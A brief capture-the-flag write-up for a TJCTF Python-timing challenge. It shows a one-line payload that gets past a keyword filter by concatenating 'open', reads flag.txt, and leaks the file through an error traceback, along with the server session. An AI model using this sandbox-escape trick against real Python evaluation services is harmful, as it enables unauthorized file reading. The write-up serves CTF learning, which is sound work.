Timed

Table of Contents

Python is fun

Problem

I found this cool program that times how long Python commands take to run! Unfortunately, the owner seems very paranoid, so there’s not really much that you can test. The flag is located in the file flag.txt on the server.

nc p1.tjctf.org 8005

Solution

Maybe an unintended solution.

  ~ nc p1.tjctf.org 8005
Type a command to time it!
raise ValueError(__builtins__["o" + "p" + "en"]("./flag.txt", 'r').read(100))
Traceback (most recent call last):
  File "/timed.py", line 36, in <module>
    time1=t.timeit(1)
  File "/usr/lib/python2.7/timeit.py", line 202, in timeit
    timing = self.inner(it, self.timer)
  File "<timeit-src>", line 6, in inner
    raise ValueError(__builtins__["o" + "p" + "en"]("./flag.txt", 'r').read(100))
ValueError: tjctf{iTs_T1m3_f0r_a_flaggg}

Runtime: 0

Type a command to time it!
Nemo Xiong avatar
Nemo Xiong
ex-Cybersecurity Executor, now a student in Unimelb
comments powered by Disqus